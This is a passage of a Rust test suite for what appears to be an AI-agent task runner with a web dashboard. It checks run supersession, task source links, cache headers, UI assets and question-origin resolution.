23263 assert_eq!(value["version"], "1.2.3");
23264 assert_eq!(value["pid"], 4242);
23265 assert!(value.get("payload").is_none());
23266 assert!(value.get("result").is_none());
23267 assert!(!value.to_string().contains("private"));
23268 }
23269
23270 #[test]
23271 fn upgraded_scheduler_remains_owned_by_a_replacement_web() {
23272 let home = TempDir::new().expect("temp home");
23273 let ui = idle_ui(&home);
23274 std::fs::write(
23275 home.path().join("daemon.json"),
23276 serde_json::json!({
23277 "schema": 2, "pid": 4242, "worker_protocol": 1,
23278 "updated_at": Timestamp::now().to_string(), "idle": true,
23279 })
23280 .to_string(),
23281 )
23282 .expect("status");
23283 let reading = daemon::read_status(home.path());
23284 assert!(Foreign::of(reading.as_ref()).is_none());
23285 let view = ui.runtime_loop_view(reading, &[]);
23286 assert!(view.running);
23287 assert!(view.owned);
23288 }
23289
23290 #[test]
23291 fn only_an_explicit_one_requests_a_resume() {
23292 assert!(!resume_requested(None));
23293 assert!(!resume_requested(Some("0".into())));
23294 assert!(!resume_requested(Some("".into())));
23295 assert!(resume_requested(Some("1".into())));
23296 }
23297
23298 #[test]
23299 fn an_error_is_visible_from_where_the_button_is() {
23300 let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
23305 ..APP_CSS.find(".alert-text").expect(".alert-text")];
23306 assert!(
23307 alert.contains("position: fixed"),
23308 "an error about the thing under your thumb has to be visible from \
23309 where your thumb is: {alert}"
23310 );
23311 assert!(
23312 alert.contains("z-index: 25"),
23313 "above the dock (20) and the run-actions FAB (15), so neither \
23314 buries it: {alert}"
23315 );
23316 assert!(
23317 alert.contains("var(--tap)"),
23318 "and clear of the dock and the home indicator: {alert}"
23319 );
23320 assert!(
23323 alert.contains("var(--s4) + var(--tap) + var(--s3)"),
23324 "the FAB's column stays free: {alert}"
23325 );
23326 }
23327
23328 #[tokio::test]
23329 async fn an_older_attempt_says_what_replaced_it() {
23330 let fx = Fixture::start().await;
23331 let q = fx.queue();
23332 let runs = fx.runs();
23333 let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
23334 write_run(&runs, first, RunStatus::Stalled);
23335 write_run(&runs, second, RunStatus::Blocked);
23336
23337 let mut t = Task::new(
23338 "one task".to_owned(),
23339 "do it".to_owned(),
23340 PathBuf::from("/repo"),
23341 Source::Human,
23342 );
23343 t.runs = vec![first.to_owned(), second.to_owned()];
23344 q.put(&mut t).expect("put");
23345
23346 let rows = fx.get("/api/runs").await.json();
23350 let by = |short: &str| -> Value {
23351 rows.as_array()
23352 .unwrap()
23353 .iter()
23354 .find(|r| r["short"] == short)
23355 .cloned()
23356 .unwrap_or(Value::Null)
23357 };
23358 assert_eq!(by("aaaa")["superseded_by"], "bbbb");
23359 assert!(
23360 by("bbbb")["superseded_by"].is_null(),
23361 "the latest attempt is not superseded by anything"
23362 );
23363 assert!(APP_JS.contains("run.superseded_by"));
23365 assert!(APP_JS.contains("Superseded by"));
23366 }
23367
23368 fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
23369 let mut t = Task::new(
23370 "one task".to_owned(),
23371 "do it".to_owned(),
23372 PathBuf::from("/repo"),
23373 Source::Human,
23374 );
23375 t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
23376 t.status = status;
23377 t
23378 }
23379
23380 #[test]
23381 fn source_link_picks_the_page_that_filed_the_task() {
23382 let agent = |node: &str| Source::Agent {
23383 run: "20260904-014455-ab12".to_owned(),
23384 node: node.to_owned(),
23385 };
23386 let chat = source_link(&agent("chat")).expect("chat link");
23387 assert_eq!(chat.kind, "chat");
23388 assert_eq!(chat.id, "20260904-014455-ab12");
23389 assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
23390 let run = source_link(&agent("implement")).expect("run link");
23391 assert_eq!(
23392 (run.kind, run.href.as_str()),
23393 ("run", "#/runs/20260904-014455-ab12")
23394 );
23395 assert_eq!(source_link(&Source::Human), None);
23396 assert_eq!(
23397 source_link(&Source::Issue {
23398 number: 3,
23399 repo: "o/r".to_owned()
23400 }),
23401 None
23402 );
23403 let odd = source_link(&Source::Agent {
23404 run: "a b/c".to_owned(),
23405 node: "chat".to_owned(),
23406 })
23407 .expect("link");
23408 assert_eq!(odd.href, "#/chat/a%20b%2Fc");
23409 }
23410
23411 #[test]
23412 fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
23413 assert!(
23414 !APP_JS.contains("src.node === \"chat\""),
23415 "inline href rule is back"
23416 );
23417 assert!(
23418 APP_JS.matches("sourceLinkOf(").count() >= 4,
23419 "helper must serve every page"
23420 );
23421 assert!(
23422 APP_JS.matches("openChatLink(").count() >= 3,
23423 "the run page still needs its explicit chat link"
23424 );
23425 assert!(
23426 !APP_JS.contains("const openChat = el("),
23427 "the Queue card duplicates its source label link again"
23428 );
23429 assert!(
23430 APP_JS.contains("metaKids.push(link ? el(\"a\""),
23431 "the task page must link a chat source label too"
23432 );
23433 }
23434
23435 #[test]
23436 fn task_ref_carries_the_source_link_for_a_chat_task() {
23437 let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
23438 t.source = Source::Agent {
23439 run: "20260904-014455-ab12".to_owned(),
23440 node: "chat".to_owned(),
23441 };
23442 let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
23443 let v = serde_json::to_value(&out).expect("json");
23444 assert_eq!(v["source_link"]["kind"], "chat", "{v}");
23445 assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
23446 assert_eq!(v["source_label"], t.source.label());
23447
23448 let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
23449 let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
23450 .expect("json");
23451 assert!(v["source_link"].is_null(), "{v}");
23452 }
23453
23454 #[test]
23455 fn task_view_serializes_source_link() {
23456 let mut t = Task::new(
23457 "t".to_owned(),
23458 "t".to_owned(),
23459 PathBuf::from("/repo"),
23460 Source::Agent {
23461 run: "20260901-000000-aaaa".to_owned(),
23462 node: "implement".to_owned(),
23463 },
23464 );
23465 t.runs.clear();
23466 let v = serde_json::to_value(TaskView::from(t)).expect("json");
23467 assert_eq!(v["source_link"]["kind"], "run", "{v}");
23468 assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
23469 }
23470
23471 #[test]
23472 fn task_view_serializes_urgent_flag() {
23473 let mut t = Task::new(
23474 "t".to_owned(),
23475 "t".to_owned(),
23476 PathBuf::from("/repo"),
23477 Source::Human,
23478 );
23479 let v = serde_json::to_value(TaskView::from(t.clone())).expect("json");
23480 assert_eq!(v["urgent"], false, "{v}");
23481 t.urgent = true;
23482 let v = serde_json::to_value(TaskView::from(t)).expect("json");
23483 assert_eq!(v["urgent"], true, "{v}");
23484 assert!(APP_JS.contains("task.urgent === true"));
23485 }
23486
23487 #[tokio::test]
23488 async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
23489 let fx = Fixture::start().await;
23490 let runs = fx.runs();
23491 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
23492 write_run(&runs, old, RunStatus::Blocked);
23493 write_run(&runs, new, RunStatus::Merged);
23494 let mut t = outcome_task(&[old, new], TaskStatus::Done);
23495 fx.queue().put(&mut t).expect("put");
23496
23497 let view = fx.get(&format!("/api/runs/{old}")).await.json();
23498 let task = &view["task"];
23499 assert_eq!(task["status"], "done");
23500 assert_eq!(task["is_latest"], false);
23501 assert_eq!(task["latest"]["short"], "bbbb");
23502 assert_eq!(task["finished_by"]["id"], new);
23503 assert_eq!(task["finished_by"]["outcome"], "merged");
23504 assert_eq!(task["closed_by_hand"], false);
23505 assert_eq!(view["status"], "blocked", "the run keeps its own status");
23506 assert!(APP_JS.contains("finished_by"));
23507 assert!(APP_JS.contains("superseded by run"));
23508 }
23509
23510 #[tokio::test]
23511 async fn the_latest_run_reports_a_held_task_without_a_successor() {
23512 let fx = Fixture::start().await;
23513 let runs = fx.runs();
23514 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
23515 write_run(&runs, old, RunStatus::Stalled);
23516 write_run(&runs, new, RunStatus::Blocked);
23517 let mut t = outcome_task(&[old, new], TaskStatus::Held);
23518 fx.queue().put(&mut t).expect("put");
23519
23520 let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
23521 assert_eq!(task["status"], "held");
23522 assert_eq!(task["is_latest"], true);
23523 assert!(task["latest"].is_null());
23524 assert!(task["finished_by"].is_null());
23525 assert_eq!(task["closed_by_hand"], false);
23526 }
23527
23528 #[tokio::test]
23529 async fn a_direct_run_has_no_task_outcome() {
23530 let fx = Fixture::start().await;
23531 let runs = fx.runs();
23532 let id = "20260901-000000-aaaa";
23533 write_run(&runs, id, RunStatus::Blocked);
23534 let view = fx.get(&format!("/api/runs/{id}")).await.json();
23535 assert!(view["task"].is_null());
23536 }
23537
23538 #[test]
23539 fn task_outcome_does_not_guess_a_finishing_run() {
23540 let a = "20260901-000000-aaaa";
23541 let b = "20260901-000000-bbbb";
23542 let c = "20260901-000000-cccc";
23543 let dir = tempfile::tempdir().expect("tempdir");
23544 write_run(dir.path(), a, RunStatus::Blocked);
23545 write_run(dir.path(), b, RunStatus::VerifiedNoop);
23546 let read = |id: &str| read_run(dir.path(), id).ok();
23548 let t = outcome_task(&[a, b, c], TaskStatus::Done);
23551 let out = task_outcome(&t, a, 3, read);
23552 assert!(out.finished_by.is_none());
23553 assert!(out.closed_by_hand);
23554 let latest = out.latest.expect("latest");
23555 assert_eq!(latest.id, c);
23556 assert_eq!(latest.status, None);
23557 assert_eq!(latest.outcome, "record unreadable");
23558
23559 write_run(dir.path(), c, RunStatus::Ready);
23561 let t = outcome_task(&[a, c], TaskStatus::Done);
23562 let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
23563 assert_eq!(out.finished_by.expect("finisher").id, c);
23564 assert!(!out.closed_by_hand);
23565
23566 let t = outcome_task(&[a, b, a], TaskStatus::Held);
23568 assert!(task_outcome(&t, a, 3, read).is_latest);
23569 }
23570
23571 #[tokio::test]
23572 async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
23573 let fx = Fixture::start().await;
23578 let q = fx.queue();
23579 let runs = fx.runs();
23580 let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
23581 write_run(&runs, first, RunStatus::Blocked);
23582 write_run(&runs, second, RunStatus::Merged);
23583
23584 let mut t = Task::new(
23585 "one task".to_owned(),
23586 "do it".to_owned(),
23587 PathBuf::from("/repo"),
23588 Source::Human,
23589 );
23590 t.runs = vec![first.to_owned(), second.to_owned()];
23591 q.put(&mut t).expect("put");
23592
23593 let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
23594 assert_eq!(earlier["superseded_by"], "dddd");
23595 assert_eq!(earlier["latest_attempt"]["id"], second);
23596 assert_eq!(earlier["latest_attempt"]["short"], "dddd");
23597 assert_eq!(
23598 earlier["latest_attempt"]["resolved"], true,
23599 "the run that replaced it landed, so this one reads as settled"
23600 );
23601
23602 let later = fx.get(&format!("/api/runs/{second}")).await.json();
23603 assert!(
23604 later["superseded_by"].is_null(),
23605 "the latest attempt is not superseded by anything"
23606 );
23607 assert!(
23608 later["latest_attempt"].is_null(),
23609 "the latest attempt has no later attempt of its own"
23610 );
23611
23612 assert!(APP_JS.contains("run.latest_attempt"));
23619 assert!(APP_JS.contains("data-superseded"));
23620 assert!(APP_JS.contains("#/runs/${latest.id}"));
23621 }
23622
23623 #[tokio::test]
23624 async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
23625 let fx = Fixture::start().await;
23631 let q = fx.queue();
23632 let runs = fx.runs();
23633 let (a, b, c) = (
23634 "20260901-000000-aaaa",
23635 "20260901-000000-bbbb",
23636 "20260901-000000-cccc",
23637 );
23638 write_run(&runs, a, RunStatus::Blocked);
23639 write_run(&runs, b, RunStatus::Blocked);
23640 write_run(&runs, c, RunStatus::Merged);
23641
23642 let mut t = Task::new(
23643 "retried twice".to_owned(),
23644 "do it".to_owned(),
23645 PathBuf::from("/repo"),
23646 Source::Human,
23647 );
23648 t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
23649 q.put(&mut t).expect("put");
23650
23651 let view = fx.get(&format!("/api/runs/{a}")).await.json();
23652 assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
23653 assert_eq!(
23654 view["latest_attempt"]["id"], c,
23655 "the chain's current head, not the intermediate Blocked retry"
23656 );
23657 assert_eq!(view["latest_attempt"]["resolved"], true);
23658
23659 let mid = fx.get(&format!("/api/runs/{b}")).await.json();
23660 assert_eq!(mid["latest_attempt"]["id"], c);
23661 assert_eq!(mid["latest_attempt"]["resolved"], true);
23662 }
23663
23664 #[tokio::test]
23665 async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
23666 let fx = Fixture::start().await;
23667 let q = fx.queue();
23668 let runs = fx.runs();
23669
23670 let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
23673 write_run(&runs, still_blocked_a, RunStatus::Blocked);
23674 write_run(&runs, still_blocked_b, RunStatus::Blocked);
23675 let mut t1 = Task::new(
23676 "still stuck".to_owned(),
23677 "do it".to_owned(),
23678 PathBuf::from("/repo"),
23679 Source::Human,
23680 );
23681 t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
23682 q.put(&mut t1).expect("put");
23683 let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
23684 assert_eq!(view1["latest_attempt"]["resolved"], false);
23685 assert_eq!(view1["latest_attempt"]["status"], "blocked");
23686 assert_eq!(view1["latest_attempt"]["done"], true);
23687
23688 let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
23690 write_run(&runs, run_a, RunStatus::Blocked);
23691 write_run(&runs, run_b, RunStatus::Implementing);
23692 let mut t3 = Task::new(
23693 "retrying".to_owned(),
23694 "do it".to_owned(),
23695 PathBuf::from("/repo"),
23696 Source::Human,
23697 );
23698 t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
23699 q.put(&mut t3).expect("put");
23700 let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
23701 assert_eq!(view3["latest_attempt"]["id"], run_b);
23702 assert_eq!(view3["latest_attempt"]["resolved"], false);
23703 assert_eq!(view3["latest_attempt"]["done"], false);
23704
23705 let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
23710 write_run(&runs, noop_a, RunStatus::Blocked);
23711 write_run(&runs, noop_b, RunStatus::VerifiedNoop);
23712 let mut t2 = Task::new(
23713 "claims done".to_owned(),
23714 "do it".to_owned(),
23715 PathBuf::from("/repo"),
23716 Source::Human,
23717 );
23718 t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
23719 q.put(&mut t2).expect("put");
23720 let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
23721 assert_eq!(
23722 view2["latest_attempt"]["resolved"], false,
23723 "an unverified no-op claim must not read as a confirmed finish"
23724 );
23725
23726 assert!(APP_JS.contains("latest.resolved"));
23729 assert!(APP_JS.contains("successorNote(latest, inFlight)"));
23732 assert!(APP_JS.contains("Latest attempt: "));
23733 assert!(APP_JS.contains("in flight"));
23734 assert!(APP_JS.contains("not resolved"));
23735 }
23736
23737 #[tokio::test]
23738 async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
23739 let fx = Fixture::start().await;
23740 let js = fx.get("/app.js").await;
23746 assert_eq!(js.status, 200);
23747 let tag = js
23748 .header("etag")
23749 .expect("an etag to revalidate against")
23750 .to_owned();
23751 assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
23752 assert_eq!(
23753 js.header("cache-control"),
23754 Some("no-cache, must-revalidate"),
23755 "the phone has to ask every time"
23756 );
23757
23758 let again = fx
23761 .get_with("/app.js", &[("if-none-match", tag.as_str())])
23762 .await;
23763 assert_eq!(
23764 again.status, 304,
23765 "a deck it already has costs one round trip"
23766 );
23767 assert!(again.body.is_empty(), "304 carries no body");
23768
23769 let weak = fx
23772 .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
23773 .await;
23774 assert_eq!(weak.status, 304);
23775 let stale = fx
23776 .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
23777 .await;
23778 assert_eq!(stale.status, 200, "an older build must be replaced");
23779 assert!(stale.body.contains("renderRunActions"));
23780 }
23781
23782 #[test]
23783 fn the_task_detail_has_an_actions_fab_and_sheet() {
23784 assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
23785 assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
23786 assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
23787 assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
23789 assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
23790 assert!(APP_JS.contains("renderTaskActions(task.coreOnly || error ? null : task);"));
23792 assert!(APP_JS.contains("renderTaskActions(null);"));
23793 let sheet = APP_JS
23795 .find("function renderTaskActions")
23796 .expect("sheet renderer");
23797 let body = &APP_JS[sheet..sheet + 3000];
23798 assert!(body.contains("changePriority("));
23799 assert!(body.contains("openTaskEdit(task)"));
23800 assert!(body.contains("renderTaskHoldBox(host"));
23801 assert!(body.contains("renderTaskDoneBox(host"));
23802 assert!(body.contains("renderTaskDeleteBox(host"));
23803 assert!(APP_JS.contains("API.priority(id)"));
23804 assert!(APP_JS.contains("API.deleteTask(id)"));
23805 assert!(APP_JS.contains("location.hash = \"#/queue\""));
23807 assert!(APP_JS.contains("$(\"task-actions-error\")"));
23809 }
23810
23811 #[test]
23812 fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
23813 let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
23814 let actions = INDEX_HTML
23815 .find("id=\"run-actions-box\"")
23816 .expect("actions box");
23817 assert!(task < actions, "the task entry comes first in the sheet");
23818 assert!(APP_JS.contains("renderRunTaskEntry"));
23819 assert!(APP_JS.contains("\"Open task \""));
23820 assert!(APP_JS.contains("started directly, no task"));
23822 assert!(APP_JS.contains("sheet-task-link"));
23823 assert!(APP_JS.contains("task-chip-link"));
23824 }
23825
23826 #[test]
23827 fn the_deck_never_sends_the_operator_to_a_terminal() {
23828 assert!(
23831 !APP_JS.contains("Run `magi fold` first"),
23832 "the deck must offer the fold, not prescribe a shell command"
23833 );
23834 assert!(APP_JS.contains("foldRun:"));
23835 assert!(APP_JS.contains("resumeRun:"));
23836 assert!(APP_JS.contains("renderRunActions"));
23837
23838 assert!(APP_JS.contains("armedFold"));
23840 assert!(APP_JS.contains("Yes, fold worktrees"));
23841
23842 assert!(APP_JS.contains("can no longer be resumed"));
23845 }
23846
23847 #[test]
23848 fn a_finished_run_explains_itself_with_its_own_last_line() {
23849 assert!(
23855 !APP_JS.contains("collapsed on agent quota"),
23856 "a stall must not be explained by a cause the deck did not check"
23857 );
23858 assert!(
23859 !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
23860 "and a block must not offer a guess with an `or` in it"
23861 );
23862
23863 assert!(
23867 APP_JS.contains("setText(r.event, run.event || \"\")"),
23868 "the run's last line is rendered unconditionally"
23869 );
23870 assert!(
23871 !APP_JS.contains("moving && run.event"),
23872 "and never gated on the run still moving"
23873 );
23874
23875 assert!(APP_JS.contains("lost to quota"));
23877 }
23878
23879 #[test]
23901 fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
23902 let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
23903 let shapes_body_start =
23904 APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
23905 let shapes_close = APP_JS[shapes_body_start..]
23906 .find("].map(")
23907 .expect("the shape list is closed by its done-computing .map(...)")
23908 + shapes_body_start;
23909 let shapes_src = &APP_JS[shapes_body_start..shapes_close];
23910
23911 let mut shapes: Vec<(bool, String, bool, bool)> = Vec::new();
23912 for entry in shapes_src.split('{').skip(1) {
23913 let waiting = entry.contains("waiting: true");
23914 let dead = entry.contains("live: \"dead\"");
23915 let status_at =
23916 entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
23917 let status_end = entry[status_at..]
23918 .find('"')
23919 .expect("the status string is closed")
23920 + status_at;
23921 let parked = entry.contains("display_status: \"parked\"");
23922 shapes.push((
23923 waiting,
23924 entry[status_at..status_end].to_string(),
23925 dead,
23926 parked,
23927 ));
23928 }
23929 assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
23930
23931 let done_rule_marker = "done: !";
23935 let done_rule_at = APP_JS[shapes_close..]
23936 .find(done_rule_marker)
23937 .expect("the done rule follows the shape list")
23938 + shapes_close
23939 + done_rule_marker.len();
23940 let includes_at = APP_JS[done_rule_at..]
23941 .find(".includes(shape.status)")
23942 .expect("the done rule ends in .includes(shape.status)")
23943 + done_rule_at;
23944 let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
23945 .trim()
23946 .trim_start_matches('[')
23947 .trim_end_matches(']')
23948 .split(',')
23949 .map(|s| s.trim().trim_matches('"'))
23950 .filter(|s| !s.is_empty())
23951 .collect();
23952
23953 let shapes: Vec<(bool, String, bool, bool, bool)> = shapes
23954 .into_iter()
23955 .map(|(waiting, status, dead, parked)| {
23956 let done = !not_done.contains(&status.as_str());
23957 (waiting, status, dead, parked, done)
23958 })
23959 .collect();
23960
23961 fn run_section(waiting: bool, status: &str, dead: bool, parked: bool) -> &'static str {
23965 if waiting {
23966 return "waiting";
23967 }
23968 if dead
23969 && !parked
23970 && !matches!(
23971 status,
23972 "merged"
23973 | "ready"
23974 | "stalled"
23975 | "blocked"
23976 | "failed"
23977 | "verified_noop"
23978 | "superseded"
23979 | "already_in_base"
23980 )
23981 {
23982 return "stale";
23983 }
23984 match status {
23985 "merged" | "ready" => "landed",
23986 "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
23987 | "already_in_base" => "ended",
23988 _ => "flight",
23989 }
23990 }
23991
23992 fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
23995 match filter_key {
23996 "active" => !done,
23997 "flight" => !done && !waiting && !dead,
23998 "stale" => !done && !waiting && dead,
23999 "waiting" => waiting,
24000 "done" => done,
24001 "all" => true,
24002 other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
24003 }
24004 }
24005
24006 let compatible = |section: &str, filter_key: &str| {
24007 shapes.iter().any(|(waiting, status, dead, parked, done)| {
24008 run_section(*waiting, status, *dead, *parked) == section
24009 && filter_matches(filter_key, *waiting, *dead && !*parked, *done)
24010 })
24011 };
24012
24013 let expected = [
24018 ("waiting", [true, false, false, true, true, true]),
24019 ("stale", [true, false, true, false, false, true]),
24020 ("flight", [true, true, false, false, false, true]),
24021 ("landed", [false, false, false, false, true, true]),
24022 ("ended", [false, false, false, false, true, true]),
24023 ];
24024 let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
24025
24026 for (section, wants) in expected {
24027 for (filter_key, want) in filter_keys.iter().zip(wants) {
24028 assert_eq!(
24029 compatible(section, filter_key),
24030 want,
24031 "section {section:?} x filter {filter_key:?} should be compatible: {want}"
24032 );
24033 }
24034 }
24035
24036 assert!(
24039 APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
24040 );
24041 assert!(APP_JS.contains(
24042 "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
24043 ));
24044 assert!(APP_JS.contains(
24045 "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
24046 ));
24047 }
24048
24049 #[tokio::test]
24050 async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
24051 let dir = tempfile::tempdir().expect("tempdir");
24055 let explicit = dir.path().join("not-a-checkout");
24056 std::fs::create_dir_all(&explicit).expect("create dir");
24057 assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
24058
24059 let missing = dir.path().join("does-not-exist-at-all");
24060 assert_eq!(normalize_default_repo(missing.clone()).await, missing);
24061 }
24062
24063 #[test]
24064 fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
24065 assert!(APP_JS.contains("function statsDonutArcs"));
24066 assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
24067 assert!(APP_JS.contains("function statusInBucket"));
24069 assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
24070 assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
24071 let buckets = [
24072 "merged",
24073 "ready",
24074 "in_progress",
24075 "blocked",
24076 "failed",
24077 "verified_noop",
24078 "superseded",
24079 "stalled",
24080 ];
24081 for key in buckets {
24082 let var = format!("--verdict-{key}:");
24083 assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
24085 assert!(
24086 APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
24087 "{key}"
24088 );
24089 }
24090 }
24091
24092 #[tokio::test]
24093 async fn resolve_talk_and_task_avoid_deserializing_corrupt_or_unrelated_json() {
24094 let dir = tempfile::tempdir().expect("tempdir");
24095 let queue = Queue::at(dir.path().join("queue"));
24096 let talks = Talks::at(dir.path().join("talks"));
24097 std::fs::create_dir_all(queue.root()).unwrap();
24098 std::fs::create_dir_all(talks.root()).unwrap();
24099
24100 std::fs::write(queue.root().join("corrupt-task.json"), "invalid json").unwrap();
24102 std::fs::write(talks.root().join("corrupt-talk.json"), "invalid json").unwrap();
24103
24104 let mut task = Task::new(
24106 "title".into(),
24107 "inst".into(),
24108 PathBuf::from("/repo"),
24109 Source::Human,
24110 );
24111 task.id = "20261019-123456-abcd".into();
24112 std::fs::write(
24114 queue.path_of(&task.id),
24115 serde_json::to_string(&task).unwrap(),
24116 )
24117 .unwrap();
24118
24119 let talk_id = "20261019-234567-cdef";
24120 seed_talk_at(&talks, talk_id, "open");
24121
24122 assert_eq!(resolve_task(&queue, &task.id).unwrap(), task.id);
24124 assert_eq!(resolve_talk(&talks, talk_id).unwrap(), talk_id);
24125
24126 assert_eq!(resolve_task(&queue, "abcd").unwrap(), task.id);
24128 assert_eq!(resolve_talk(&talks, "cdef").unwrap(), talk_id);
24129 }
24130
24131 #[tokio::test]
24132 async fn question_core_and_empty_origins_do_not_touch_unavailable_histories() {
24133 let home = tempfile::tempdir().unwrap();
24134 let ui = delta_test_ui(home.path());
24135 std::fs::write(ui.queue.root(), "not a directory").unwrap();
24137 std::fs::write(ui.talks.root(), "not a directory").unwrap();
24138 assert!(
24139 questions_list(State(ui.clone()))
24140 .await
24141 .unwrap()
24142 .0
24143 .is_empty()
24144 );
24145 assert!(
24146 question_origins(State(ui.clone()))
24147 .await
24148 .unwrap()
24149 .0
24150 .is_empty()
24151 );
24152 let mut question = Question::new(
24153 "run-history".into(),
24154 "review".into(),
24155 "seat".into(),
24156 "Useful question".into(),
24157 "Useful detail".into(),
24158 vec![],
24159 );
24160 ui.questions.put(&mut question).unwrap();
24161 let core = questions_core(State(ui.clone())).await.unwrap().0;
24162 assert_eq!(core.len(), 1);
24163 assert_eq!(core[0].question.summary, "Useful question");
24164 assert!(!core[0].can_consult_chat);
24165 assert!(core[0].origin_chat.is_none());
24166 assert_eq!(core[0].record_revision, question_record_revision(&question));
24167 assert!(question_origins(State(ui.clone())).await.is_err());
24168 assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, 0);
24169 }
24170
24171 #[tokio::test]
24172 async fn question_origins_resolve_typed_links_without_expanding_consultation() {
24173 let home = tempfile::tempdir().unwrap();
24174 let ui = delta_test_ui(home.path());
24175 let chat = seed_talk_at(&ui.talks, "origin-chat", "closed");
24176 let mut parent = Task::new(
24177 "parent".into(),
24178 "body".into(),
24179 PathBuf::from("/repo"),
24180 Source::Agent {
24181 run: chat.clone(),
24182 node: crate::queue::CHAT_NODE.into(),
24183 },
24184 );
24185 parent.id = "parent-task".into();
24186 parent.runs = vec!["parent-run".into()];
24187 ui.queue.put(&mut parent).unwrap();
24188 let mut previous = parent;
24189 for generation in 1..=2 {
24190 let mut child = Task::new(
24191 "child".into(),
24192 "body".into(),
24193 PathBuf::from("/repo"),
24194 Source::Human,
24195 );
24196 child.id = format!("child-task-{generation}");
24197 child.runs = vec![format!("child-run-{generation}")];
24198 child.followup = Some(crate::queue::FollowUp {
24199 origin_task: Some(previous.id.clone()),
24200 run: previous.runs[0].clone(),
24201 pr: String::new(),
24202 findings: vec![],
24203 generation,
24204 });
24205 ui.queue.put(&mut child).unwrap();
24206 previous = child;
24207 }
24208 let mut collision = Task::new(
24211 "collision".into(),
24212 String::new(),
24213 PathBuf::from("/repo"),
24214 Source::Human,
24215 );
24216 collision.id = "collision-task".into();
24217 collision.runs = vec![previous.id.clone()];
24218 ui.queue.put(&mut collision).unwrap();
24219 let mut questions = Vec::new();
24220 for (node, reference, expected, eligible) in [
24221 (crate::triage::NODE, previous.id.as_str(), true, false),
24222 (crate::triage::DEPS_NODE, previous.id.as_str(), true, false),
24223 ("review", previous.runs[0].as_str(), true, true),
24224 (
24225 crate::bump::NOTICE_NODE,
24226 previous.runs[0].as_str(),
24227 true,
24228 false,
24229 ),
24230 ("review", previous.id.as_str(), false, false),
24232 (crate::triage::NODE, previous.runs[0].as_str(), false, true),
24233 ("review", "unrelated", false, false),
24234 ] {
24235 let mut q = Question::new(
24236 reference.into(),
24237 node.into(),
24238 "seat".into(),
24239 "Question".into(),
24240 String::new(),
24241 vec![],
24242 );
24243 ui.questions.put(&mut q).unwrap();
24244 questions.push((q, expected, eligible));
24245 }
24246 for (node, reference, associated, eligible) in [
24247 (crate::reconcile::NODE, previous.id.as_str(), true, false),
24248 (
24249 crate::reconcile::NODE,
24250 previous.runs[0].as_str(),
24251 false,
24252 true,
24253 ),
24254 ("implement", previous.id.as_str(), false, false),
24255 ] {
24256 let mut q = Question::new(
